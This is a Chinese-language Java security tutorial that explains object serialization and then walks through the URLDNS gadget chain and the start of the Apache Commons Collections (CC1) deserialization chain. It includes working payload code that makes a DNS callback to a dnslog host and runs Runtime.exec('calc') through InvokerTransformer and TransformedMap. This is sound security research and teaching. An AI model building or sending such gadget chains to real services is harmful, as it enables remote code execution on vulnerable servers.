Java 安全 | 反序列化 URLDNS+CC+自己挖一条链+CB

admin 2024年11月28日13:39:18评论9 views字数 94457阅读314分51秒阅读模式

首先特别感谢 FreeBuf 这个平台, 本来这篇文章是误删了的, 在《编辑》文章部分一键找回了,23333。

前言

如同标题一样, 本篇文章会介绍反序列化漏洞的基本原理,以及分析三种反序列化链路:URLDNS, CC, CB.

其中CC链附上一条笔者挖的链路, 有兴趣可以看一下, 当然没兴趣就算了. (PS: 有CC1~7的知识点就够了)

前置知识也就是笔者之前发表的《JAVA安全 | Classloader:理解与利用一篇就够了》, 建议理解 ClassLoader 之后再来学习反序列化。

文章字数3w+, 目录如下:

Java 安全 | 反序列化 URLDNS+CC+自己挖一条链+CB文章首发 Freebuf: https://www.freebuf.com/vuls/413092.html

声明:文中涉及到的技术和工具,仅供学习使用,禁止从事任何非法活动,如因此造成的直接或间接损失,均由使用者自行承担责任。

基本概念

其中序列化, 反序列化这两者的概念, 我们可以通过一张图进行解释:

Java 安全 | 反序列化 URLDNS+CC+自己挖一条链+CB
image-20240924142729010.png

序列化则是将 Java 中的对象将其变为一串二进制数据, 可以存储在数据库,文件,内存中.

而反序列化则是将这些二进制数据,重新还原成 Java 对象的一个过程.

Java 安全 | 反序列化 URLDNS+CC+自己挖一条链+CB
image-20240924143539701.png

序列化 | 反序列化是发生在"对象"身上的, 故我们无法序列化 static 类型的属性, 因为 static 属性是绑定在类上的.

序列化 | 反序列化 测试

那么我们在 Java 中如何使用序列化 | 反序列化呢?

  1. 编写一个类, 实现Serializable接口
  2. 在该类中添加private static final long SerialVersionUID属性.

笔者在这里准备一个用于测试序列化|反序列化Java环境:

pom.xml:

<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.13.2</version>
<scope>compile</scope>
</dependency>
<dependency>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
<version>1.18.30</version>
</dependency>
</dependencies>

随后准备一个JavaBean:

package com.heihu577.bean;

import lombok.AllArgsConstructor;
import lombok.Data;
import lombok.NoArgsConstructor;

import java.io.Serializable;

@Data
@NoArgsConstructor
@AllArgsConstructor
public class Person implements Serializable {
private static final long serialVersionUID = 1L;

private int id;
private String name;
private int age;
}

编写测试类:

public class T1 {
@Test
public void writeObj() throws Exception {
Person heihu577 = new Person(1, "heihu577", 12);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(new File("./heihu577.dat")));
oos.writeUTF("HELLO WORLD"); // 写入字符串 HELLO WORLD
oos.writeObject(heihu577); // 写入 heihu577 对象
}

@Test
public void readObj() throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("./heihu577.dat")));
String msg = ois.readUTF(); // 读取 HELLO WORLD 字符串
Person person = (Person) ois.readObject(); // 读取 hihu577 对象
System.out.println("Msg: " + msg + ", Person: " + person); // Msg: HELLO WORLD, Person: Person(id=1, name=heihu577, age=12)
}
}

其中writeObj可以写入字符串与对象, 其中生成二进制文件的格式遵循Java规范, 具体可以参考官方文档: https://docs.oracle.com/javase/8/docs/platform/serialization/spec/protocol.html

那么上述运行结果如下:

Java 安全 | 反序列化 URLDNS+CC+自己挖一条链+CB
image-20240924150820420.png

Serializable 接口

我们可以观察一下Serializable接口中的注释信息:

Java 安全 | 反序列化 URLDNS+CC+自己挖一条链+CB
image-20240924154847638.png

当我们在Person类中定义了这些方法时, 例如:

@Data
@NoArgsConstructor
@AllArgsConstructor
public class Person implements Serializable {
private int id;
private String name;
private int age;

private void readObject(java.io.ObjectInputStream in)
throws IOException, ClassNotFoundException {
System.out.println("反序列化中...");
}

private void writeObject(java.io.ObjectOutputStream out)
throws IOException {
System.out.println("序列化中...");
}
}

那么当我们调用ObjectOutputStream::writeObject方法时, 也会调用Person::writeObject方法.

Java 安全 | 反序列化 URLDNS+CC+自己挖一条链+CB
image-20240924155444416.png

当我们调用ObjectInputStream::readObject方法时, 也会调用Person::readObject方法. 这里过程就不演示了.

具体原因可以查看 readObject 源码分析: https://blog.csdn.net/lpcInJava/article/details/134776113

https://xz.aliyun.com/t/14544?time__1311=GqAhDIkGkFGXwqeu4Yub4jE8YGCRzmeD

程序员定义 readObject & writeObject 原因

那么程序员在什么时候会定义readObject并编写程序员的代码段呢?我们使用下面的案例来解释:

public class Main2 {
public static void main(String[] args) throws IOException, ClassNotFoundException {
Person person = new Person();
person.setId(1);
person.setUsername("Zs");
serialize(person); // 序列化时 id=1, username=Zs. 但经过自定义 writeObject 处理后值为 id=2, username=Zs ~~~

Person person01 = unserialize();
System.out.println(person01); // 反序列化时, 直接调用 readObject 方法, 对其进行赋值操作.
}

public static void serialize(Object o) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
oos.writeObject(o);
}

public static Person unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
return (Person) ois.readObject();
}
}

class Person implements Serializable {
private static final long serialVersionUID = 1L;
private int id;
private String username;
// 提供 getter && setter && toString 方法

private void writeObject(java.io.ObjectOutputStream out)
throws IOException {
out.writeInt(id + 1);
out.writeUTF(username + " ~~~ "); // 自定义序列化规则
System.out.println("我进来了, 我是序列化");
}

private void readObject(java.io.ObjectInputStream in)
throws IOException, ClassNotFoundException {
System.out.println("我进来了, 我是反序列化.");
this.id = in.readInt(); // 自定义反序列化赋值规则
this.username = in.readUTF();
}
}

我们可以看到的是, 自定义writeObject & readObject接口方法可以自定义序列化与反序列化的规则. 当然了, 如果我们定义一个空的readObject方法会怎么样, 我们不妨一试:

public class MyTester {
public static void main(String[] args) throws Exception {
Person person = new Person("heihu577", 12);
serialize(person); // 序列化时, 是带着属性值序列化的
Person person01 = unserialize();
System.out.println(person01); // 而因为自定义了 readObject 方法, 所以这里的结果是 Person(name=null, age=null), 没有任何属性
}

public static void serialize(Object o) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
oos.writeObject(o);
}

public static Person unserialize() throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
return (Person) ois.readObject();
}
}

@Data
@NoArgsConstructor
@AllArgsConstructor
class Person implements Serializable {
private String name;
private Integer age;

private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {}
}

可以看到这里由于定义了自定义readObject方法, 所以这里反序列化时, 无法成功从二进制文件中读取到name & age属性的值.

如果我们将该readObject定义成这样, 将可以从二进制文件中得到name & age的值, 并可以成功赋值:

private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject(); // readObject 方法的第一行调用默认的处理机制
}

transient 阻止指定字段序列化

当一个成员属性使用transient修饰时, 那么该成员属性是不允许序列化的, 测试如下:

public class MyTester {
public static void main(String[] args) throws Exception {
Person person = new Person("heihu577", 12);
serialize(person);
Person person01 = unserialize();
System.out.println(person01); // Person(name=null, age=12)
}

public static void serialize(Object o) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
oos.writeObject(o);
}

public static Person unserialize() throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
return (Person) ois.readObject();
}
}

@Data
@NoArgsConstructor
@AllArgsConstructor
class Person implements Serializable {
private transient String name; // 定义 name 不允许序列化
private Integer age;
}

而如果想要transient修饰的字段也参与序列化, 那么也需要重写writeObject & readObject方法, 在里面进行定义序列化|反序列化的规则:

public class MyTester {
public static void main(String[] args) throws Exception {
Person person = new Person("heihu577", 12);
serialize(person);
Person person01 = unserialize();
System.out.println(person01); // Person(name=我是自定义的写入规则~heihu577, age=12)
}

public static void serialize(Object o) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
oos.writeObject(o);
}

public static Person unserialize() throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
return (Person) ois.readObject();
}
}

@Data
@NoArgsConstructor
@AllArgsConstructor
class Person implements Serializable {
private transient String name;
private Integer age;

private void writeObject(java.io.ObjectOutputStream out) throws IOException {
out.defaultWriteObject(); // 调用默认的写入是为了写入 age 成员属性
out.writeUTF("我是自定义的写入规则~" + this.name); // 写入 name
}

private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject(); // 调用默认的读取是为了读取 age 成员属性
this.name = in.readUTF(); // 读取 name
}
}

可以看到的是, 虽然name字段被transient修饰了, 但是我们依然可以通过自定义writeObject & readObject进行操作name.

当然, 被 static 修饰的字段也不会被序列化, 因为 static 是基于类的, 这一点毋庸置疑.

serialVersionUID 有什么用

那么为什么必须要定义serialVersionUID也是有讲究的, 我们定义如下代码进行测试:

Java 安全 | 反序列化 URLDNS+CC+自己挖一条链+CB
image-20240930091015358.png

可以看到, 似乎serialVersionUID对我们序列化 & 反序列化并无影响, 但是此时我们试图对Person增加一个成员方法, 然后再进行反序列化测试:

Java 安全 | 反序列化 URLDNS+CC+自己挖一条链+CB
image-20240930091349838.png

可以看到的是, 如果一个类没有定义serialVersionUID, 那么Java会默认通过当前类结构给该类生成一个serialVersionUID, 随后在你writeObject时写入到你的二进制文件中.

当进行反序列化时, 仍然没有定义serialVersionUID成员属性时, Java会通过当前类结构重新计算serialVersionUID, 对你的二进制文件中的serialVersionUID进行比对, 若一致, 那么可以成功反序列化, 若不一致, 那么将不允许反序列化.

那么当我们加上serialVersionUID, 与其我们二进制文件中的serialVersionUID一致, 看一下是否可以反序列化成功:

Java 安全 | 反序列化 URLDNS+CC+自己挖一条链+CB
image-20240930092701330.png

所以一般程序员在实现了Serializable接口时, 会顺手定义serialVersionUID, 以免在版本更新等因素修改了类的结构, 从而导致更新前的序列化文件失效.

ObjectInputStream::resolveClass 加载类

我们知道的是,ObjectInputStream::readObject方法可以通过读取序列化二进制文件, 从而将序列化中的对象反序列化回来, 既然加载的是对象, 那它肯定需要在加载对象之前加载该对象所指明的类, 而加载类的过程被放入在了ObjectInputStream::resolveClass中, 我们可以看一下该方法是如何定义的:

Java 安全 | 反序列化 URLDNS+CC+自己挖一条链+CB
image-20241017111910755.png

而当我们继承ObjectInputStream, 重写resolveClass方法, 就可以自定义类加载规则.

那么我们定义如下DEMO进行看一下:

public class Demo {
public static void main(String[] args) throws Exception {
DemoClass demoObj = new DemoClass();
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); // 将序列化的值放入到内存中
new ObjectOutputStream(byteArrayOutputStream).writeObject(demoObj); // 序列化
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
new MyObjectInputStream(byteArrayInputStream).readObject(); // 读取对象, 会调用到 MyObjectInputStream::resolveClass
}
}

class MyObjectInputStream extends ObjectInputStream {
public MyObjectInputStream(InputStream in) throws IOException {
super(in);
}

@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
System.out.println("要加载的类名: " + desc.getName());
return super.resolveClass(desc);
}
}

class DemoClass implements Serializable {
String name = "heihu577";
}

最终运行结果:

要加载的类名: com.heihu577.DemoClass

只要稍微修改一下MyObjectInputStream::resolveClass的加载逻辑, 就可以自定义加载类.

Externalizable 接口

ExternalizableSerializable接口还是有区别的, 我们知道的是,Serializable接口有默认的序列化|反序列化处理机制, 而Externalizable是没有的, 我们可以看一下这两个接口的区别:

public interface Serializable {}
public interface Externalizable extends java.io.Serializable {
void writeExternal(ObjectOutput out) throws IOException;
void readExternal(ObjectInput in) throws IOException, ClassNotFoundException;
}

我们可以看到的是,Externalizable必须实现writeExternal & readExternal方法. 而Serializable接口中readObject & writeObject的定义是程序员自定义的.

这也就意味着实现Externalizable接口程序员必须在writeExternal & readExternal中指明其序列化 | 反序列化规则, 这一切都由程序员定义, 因为没有了默认处理规则, 自然Externalizable也不需要使用serialVersionUID进行思考兼容性问题.

无参构造

定义如下代码:

public class MyTester {
public static void main(String[] args) throws Exception {
Person person = new Person(); // 进入一次无参构造
person.setName("heihu577");
person.setAge(12);
serialize(person);
Person UnserPerson = unserialize(); // 进入一次无参构造
System.out.println(UnserPerson);
}

public static void serialize(Object o) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
oos.writeObject(o);
}

public static Person unserialize() throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
return (Person) ois.readObject();
}
}

@Data
class Person implements Externalizable {
private String name;
private Integer age;

public Person() { // 定义的该构造器访问修饰符必须为 public
System.out.println("进入无参构造...");
}

@Override
public void writeExternal(ObjectOutput out) throws IOException {
out.writeObject(name);
out.writeObject(age);
}

@Override
public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {
name = (String) in.readObject();
age = (Integer) in.readObject();
}
}

可以看到的是, 实现了Externalizable的类, 对象进行反序列化时会自动进入一次构造方法.

Externalizable和Serializable的区别

实现Serializable接口是默认序列化所有属性,如果有不需要序列化的属性使用transient修饰。Externalizable接口是Serializable的子类,实现这个接口需要重写writeExternal和readExternal方法,指定对象序列化的属性和从序列化文件中读取对象属性的行为。

实现Serializable接口的对象序列化文件进行反序列化不走构造方法,载入的是该类对象的一个持久化状态,再将这个状态赋值给该类的另一个变量。实现Externalizable接口的对象序列化文件进行反序列化先走构造方法得到控对象,然后调用readExternal方法读取序列化文件中的内容给对应的属性赋值。

好文推荐: https://blog.csdn.net/qq_43842093/article/details/127437652

反序列化漏洞入门

当我们的一个正常类中, 定义了readObject方法时, 若方法体中的运行代码不安全, 则会造成反序列化漏洞, 如下:

@Data
@NoArgsConstructor
@AllArgsConstructor
public class Person implements Serializable {
private static final long serialVersionUID = 1L;

private int id;
private String name;
private int age;

private void readObject(java.io.ObjectInputStream in)
throws IOException, ClassNotFoundException {
Runtime.getRuntime().exec("calc"); // 弹出计算器
}
}

那么当我们执行如下代码就会弹出计算器:

@Test
public void readObj() throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("./heihu577.dat")));
String msg = ois.readUTF(); // 读取 HELLO WORLD 字符串
Person person = (Person) ois.readObject(); // 读取 heihu577 对象
System.out.println("Msg: " + msg + ", Person: " + person);
}

所以这里如果我们如果想要挖掘出存在反序列化漏洞的类时, 是需要查看该类是否定义了不安全的readObject方法, 或者该readObject方法最终的走向是危险的, 例如:A::readObject -> B::某方法 -> C::危险方法, 这样也可以达到一个反序列化漏洞的效果.

URLDNS

如果服务器上存在一个反序列化的点/漏洞, 我们把URLDNS的序列化数据传进去, 我们就会收到一个DNSLOG请求, 代表服务器存在反序列化漏洞. 而因为URLDNS不受JDK版本限制, 所以这里使用URLDNS进行检测是特别好的一个选择. 那么我们下面介绍一下 URLDNS 链路的形成.

HashMap

Java中存在Map数据类型, 我们知道的是, Map 中存在许许多多的Entry. 当然, 程序员为了能让Map这个复杂的数据类型支持序列化|反序列化, 自己重写了writeObject & readObject方法, 因为Map本来就是Java开发者定义的一种键值对的数据类型. 那么我们先看一下HashMapwriteObject流程. 我们准备如下代码进行研究:

public static void main(String[] args) throws IOException, ClassNotFoundException {
HashMap<String, String> map = new HashMap<>();
map.put("name", "heihu577");
serialize(map);
}

public static void serialize(Object o) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
oos.writeObject(o);
}

public static Map unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
return (Map) ois.readObject();
}
Map.put 方法做了什么

在研究之前, 我们先看一下大体上Map.put方法做了一些什么操作, 因为这里面的一些成员属性参与到了后期的writeObject操作中.

Java 安全 | 反序列化 URLDNS+CC+自己挖一条链+CB
image-20240926173433222.png

因为篇幅有限, 这里并不方便把整个HashMap的原理放出来, 具体可以参考: https://zhuanlan.zhihu.com/p/705241238

在这里我们只需要知道table这个属性存放的是我们实际的数据, 它是一个Node<Key, Value>数组:

Java 安全 | 反序列化 URLDNS+CC+自己挖一条链+CB
image-20240926173814754.png

从上图可以看到, 当我们运行完Map.put方法之后, 该数组中会增加一组键值对.

自定义 writeObject

那么接下来我们分析writeObject方法, 看一下该方法到底做了什么.

Java 安全 | 反序列化 URLDNS+CC+自己挖一条链+CB
image-20240926174456649.png

到这里我们知道的是, 原来HashMap中的Key & Value也是参与了writeObject操作的.

自定义 readObject

那么我们看一下readObject做了什么事情:

Java 安全 | 反序列化 URLDNS+CC+自己挖一条链+CB
image-20240926175657873.png

这里我们需要注意的是hash这个方法:

static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

这个方法会调用Map中KeyhashCode方法. 那么这里可以作为一个切入点进行深度挖掘.

URL

在URL中定义了hashCode方法, 而这个方法是可以发送DNSLOG请求的:

Java 安全 | 反序列化 URLDNS+CC+自己挖一条链+CB
image-20240926194100066.png

最终调用了getHostAddress方法, 这个方法可以发送DNSLOG请求. 所以这是一个完整的链路.

问题是handler是在哪里进行初始化操作了?实则是在构造器, readObject 方法中都有定义, 我们看一下这个初始化操作方法:

public URL(String protocol, String host, int port, String file,
URLStreamHandler handler) throws MalformedURLException {
// ... 其他代码
if (handler == null &&
(handler = getURLStreamHandler(protocol)) == null) { // 初始化操作
throw new MalformedURLException("unknown protocol: " + protocol);
}
this.handler = handler;
}

private synchronized void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
// ... 其他代码
if ((handler = getURLStreamHandler(protocol)) == null) { // 初始化操作
throw new IOException("unknown protocol: " + protocol);
}
}

所以我们无需担心handler是否为空问题. 一旦URL::hashCode方法被调用, 那么将直接发送一次网络请求. 而我们刚刚分析的HashMap类的readObject方法中, 是存在hashCode的调用的, 所以这里我们将其调用URL::hashCode就可以发送一次网络请求了.

发送DNSLOG测试

下面我们通过这段代码可以发送一次DNSLOG请求:

public static void main(String[] args) throws IOException, ClassNotFoundException {
HashMap<URL, String> hashMap = new HashMap<>();
hashMap.put(new URL("http://lg3swn.dnslog.cn/"), "heihu577");
}
Java 安全 | 反序列化 URLDNS+CC+自己挖一条链+CB
image-20240926195746745.png

最终DNSLOG收到结果:

Java 安全 | 反序列化 URLDNS+CC+自己挖一条链+CB
image-20240926195842457.png

但是我们并不希望在我们构造POC时发送网络请求, 所以这里我们需要在构造POC时, 通过反射进行修改掉URL这个类的hashCode, 将其不等于-1即可, 如下:

HashMap<URL, String> hashMap = new HashMap<>();
URL url = new URL("http://mdj867.dnslog.cn/");
Field hashCode = url.getClass().getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url, 0);
/*
private int hashCode = -1; 这里默认是 -1, 我们需要将其修改为其他值
public synchronized int hashCode() {
if (hashCode != -1) 为了进入该判断, 直接返回 hashCode, 否则走到下面将发送网络请求
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
}
* */
hashMap.put(url, "heihu577");

这样我们在本地构造HashMap对象时就不会发送网络请求了, 而由于反序列化时由于hashCode已经被修改了, 所以这里反序列化时并不会发送DNSLOG请求. 我们看一下解决办法.

反序列化测试

首先我们生成POC到本地磁盘:

public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
HashMap<URL, String> hashMap = new HashMap<>();
URL url = new URL("http://mdj867.dnslog.cn/");
Field hashCode = url.getClass().getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url, 0);
hashMap.put(url, "heihu577"); // put 进去时, hashCode 为 0, 在里面调用 hashCode 方法, 不会发送DNSLOG请求.
hashCode.set(url, -1); // put 完了, 再改回 -1, 以免我们序列化的 hashCode 被替换为 0. 下一次反序列化时就会发送 DNSLOG 请求.
serialize(hashMap); // 运行后 D:/heihu577.ser 将生成出来
}

public static void serialize(Object o) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
oos.writeObject(o);
}

随后我们直接进行反序列化:

public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
unserialize(); // 调用直接发送 DNSLOG 请求.
}

public static Map unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
return (Map) ois.readObject();
}

最终会收到DNSLOG请求:

Java 安全 | 反序列化 URLDNS+CC+自己挖一条链+CB
image-20240926201543733.png

最终调用流程图:

Java 安全 | 反序列化 URLDNS+CC+自己挖一条链+CB
image-20240928161029310.png

Apache Commons Collections

前置环境准备

为了研究CC链, 我们需要在这里准备一个低版本的JDK用于学习, 笔者在这里使用的JDK版本jdk1.8.0_65:

E:LanguageJavajdk1.8.0_65bin>java -version
java version "1.8.0_65"
Java(TM) SE Runtime Environment (build 1.8.0_65-b17)
Java HotSpot(TM) 64-Bit Server VM (build 25.65-b01, mixed mode)

除了准备低版本的JDK之外, 由于rt.jar!/sun下的包均为字节码文件, 所以我们需要去 https://hg.openjdk.org/ 去下载JDK下的sun源码文件, 否则当我们调试时会出现变量名随机等问题, 在我们看源代码时不方便. 如图:

Java 安全 | 反序列化 URLDNS+CC+自己挖一条链+CB
image-20240925110910119.png

本地SDK源码下载: https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4 (下载不了挂VPS下)

下载完毕之后, 按照如下操作:

Java 安全 | 反序列化 URLDNS+CC+自己挖一条链+CB
image-20240925145325920.png

操作完毕之后, 我们sun目录下就可以看到.java的源代码了:

Java 安全 | 反序列化 URLDNS+CC+自己挖一条链+CB
image-20240925145550095.png

随后在pom.xml文件中进行引入含有漏洞版本的CC:

<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version> <!-- CC3 -->
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version> <!-- CC4 -->
</dependency>
<!-- 分析具体版本, 切换到具体版本 -->
</dependencies>

为了后续的方便, 在这里按住Ctrl+Alt+Shift+F7, 进行设置我们的Alt+F7查找的内容:

Java 安全 | 反序列化 URLDNS+CC+自己挖一条链+CB
image-20240925151414946.png

文章中, AAA 链路...俗称 BBB, AAA 指Commons Collections具体版本号, BBB 指ysoserial中的俗称.

CC3 链路 (版本1) jdk1.8.0_65 俗称 CC1

CC中存在一个org.apache.commons.collections.Transformer接口, 该接口定义了方法:

public interface Transformer {
public Object transform(Object input);
}

定义了一个transform方法, 按住Ctrl+h查看谁实现了该接口:

Java 安全 | 反序列化 URLDNS+CC+自己挖一条链+CB
image-20240925152259413.png
InvokerTransformer::transform 危险方法

InvokerTransformer这个类是可以序列化的, 并且重写了transform方法, 该方法的功能为: 接收一个对象 (注: 该对象的类修饰符必须为 public, 否则这里无法调用), 并且调用该对象的任意方法, 传递任意参数.

以下代码是理解案例:

Person person = new Person();
InvokerTransformer invokerTransformer = new InvokerTransformer("sayHello",
new Class[]{String.class}, new Object[]{"Heihu577"}); // 调用 sayHello 方法, 参数类型为 String 参数值为 Heihu577
Object transform = invokerTransformer.transform(person); // Hello: Heihu577

/* Person 类如下:
public class Person { // 这里必须由 public 修饰, 否则将报错
public void sayHello(String name) {
System.out.println("Hello: " + name);
}
} */

那么通过这样我们可以调用一个计算器出来:

Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); // public Process exec(String command)
Object transform = invokerTransformer.transform(runtime); // 弹出计算器
TransformedMap::checkSetValue 链式调用

我们需要查看谁调用了InvokerTransformer::transform方法, 最终结果如下:

Java 安全 | 反序列化 URLDNS+CC+自己挖一条链+CB
image-20240925162102856.png

可以看到的是TransformedMap::checkSetValue方法调用了InvokerTransformer::transform方法, 此时我们可以把关注点放在TransformedMap::checkSetValue上, 本地模拟调用一下该方法, 看一下是否可以成功弹出计算器.TransformedMap构造器的定义为:

public class TransformedMap
extends AbstractInputCheckedMapDecorator // 注意这个类, 待会儿下面会有调用关系.
implements Serializable { // 可以被序列化

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

}

可以看到的是, 虽然该类的构造器是protected, 但该类提供了一个static方法, 可以使我们创建该类的实例, 但是由于checkSetValue方法是protected修饰的, 所以这里我们需要使用反射调用一下, 准备测试代码如下:

Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"});
TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(new HashMap(), null, invokerTransformer);
Method checkSetValue = transformedMap.getClass().getDeclaredMethod("checkSetValue", Object.class);
checkSetValue.setAccessible(true);
checkSetValue.invoke(transformedMap, runtime); // 将 runtime 对象传递过去

运行将弹出计算器.

AbstractInputCheckedMapDecorator::setValue 链式调用 (抽象类)
Java 安全 | 反序列化 URLDNS+CC+自己挖一条链+CB
image-20240925163716789.png

可以看到AbstractInputCheckedMapDecorator这个类调用了parent.checkSetValue方法, 那么我们看一下AbstractInputCheckedMapDecorator这个类:

abstract class AbstractInputCheckedMapDecorator extends AbstractMapDecorator { // AbstractMapDecorator 实现了 Map.Entry, 是一个封装好的键值对类
protected AbstractInputCheckedMapDecorator(Map map) {
super(map);
}

public Set entrySet() {
if (isSetValueChecking()) { // true 为永真
return new EntrySet(map.entrySet(), this); // Map 数据类型迭代前都需要得到 EntrySet
} else {
return map.entrySet();
}
}

static class EntrySet extends AbstractSetDecorator { // AbstractSetDecorator 实现了 Set, Set extends Collection, Collection<E> extends Iterable<E>, 所以这里 EntrySet 是一个 Iterable, 必须实现 iterator 方法
private final AbstractInputCheckedMapDecorator parent;

protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) {
super(set);
this.parent = parent;
}

public Iterator iterator() {
return new EntrySetIterator(collection.iterator(), parent); // 遍历时调用这里, collection 是父类定义的
}
}

static class EntrySetIterator extends AbstractIteratorDecorator { // AbstractIteratorDecorator 实现了 Iterator, 可自定义迭代规则.
private final AbstractInputCheckedMapDecorator parent;

protected EntrySetIterator(Iterator iterator, AbstractInputCheckedMapDecorator parent) {
super(iterator);
this.parent = parent;
}

public Object next() {
Map.Entry entry = (Map.Entry) iterator.next();
return new MapEntry(entry, parent); // 当迭代时, 会调用到这里
}
}

static class MapEntry extends AbstractMapEntryDecorator {
private final AbstractInputCheckedMapDecorator parent;

protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}

public Object setValue(Object value) {
value = parent.checkSetValue(value); // 迭代时可手动调用 checkSetValue 方法
return entry.setValue(value);
}
}
}

可以看到的是, 这个AbstractInputCheckedMapDecorator类是一个抽象类, 并且提供了entrySet方法, 也就是说, 这个类是Map中的键值对, 那么谁实现了这个类呢?答案还是我们刚才的TransformedMap类. 该类其中的MapEntry类继承了AbstractMapEntryDecorator类, 而AbstractMapEntryDecorator类实则上也是实现了Map.Entry, 定义如下:

public abstract class AbstractMapEntryDecorator implements Map.Entry, KeyValue {}

public interface Map<K,V> {
interface Entry<K,V> {
V setValue(V value);
// ... 其他
}
// ... 其他
}

所以我们可以通过遍历调用setValue方法进行传递我们的Runtime对象, 然后setValue调用checkSetValue,checkSetValue调用transform从而实现了攻击链路, 本地测试脚本如下:

Runtime runtime = Runtime.getRuntime(); // runtime 对象
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"});
HashMap hashMap = new HashMap();
hashMap.put("a", "b");
TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap, null, invokerTransformer);
Set<Map.Entry> set = transformedMap.entrySet();
for (Map.Entry entry : set) {
entry.setValue(runtime); // 循环调用 setValue
}

运行可以弹出计算器.

AnnotationInvocationHandler::readObject 入口方法

那么谁会调用setValue方法呢?我们使用Alt+F7进行查找:

Java 安全 | 反序列化 URLDNS+CC+自己挖一条链+CB
image-20240925170818936.png

最终在AnnotationInvocationHandler::readObject中成功发现了调用setValue方法的代码块, 而readObject方法又是我们反序列化漏洞的入口, 所以我们要重点分析一下readObject方法,AnnotationInvocationHandler::readObject方法定义如下:

class AnnotationInvocationHandler implements InvocationHandler, Serializable { // 支持序列化
private static final long serialVersionUID = 6182022883658399397L;
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
this.type = type; // 需要转入注解
this.memberValues = memberValues; // 传入 Map 类型
}

private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type); // AnnotationType 类用于获取一个注解
} catch(IllegalArgumentException e) {
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes(); // 判断该注解的属性

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) {
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
}

AnnotationType.getInstance方法用于获得一个注解, 下面的annotationType.memberTypes()用来返回注解的属性, 所以这里我们必须传入一个属性不为空的注解过去才行, 这里我们可以选择使用@Retention,Retention注解定义如下:

public @interface Retention {
RetentionPolicy value(); // 只有一个 value
}

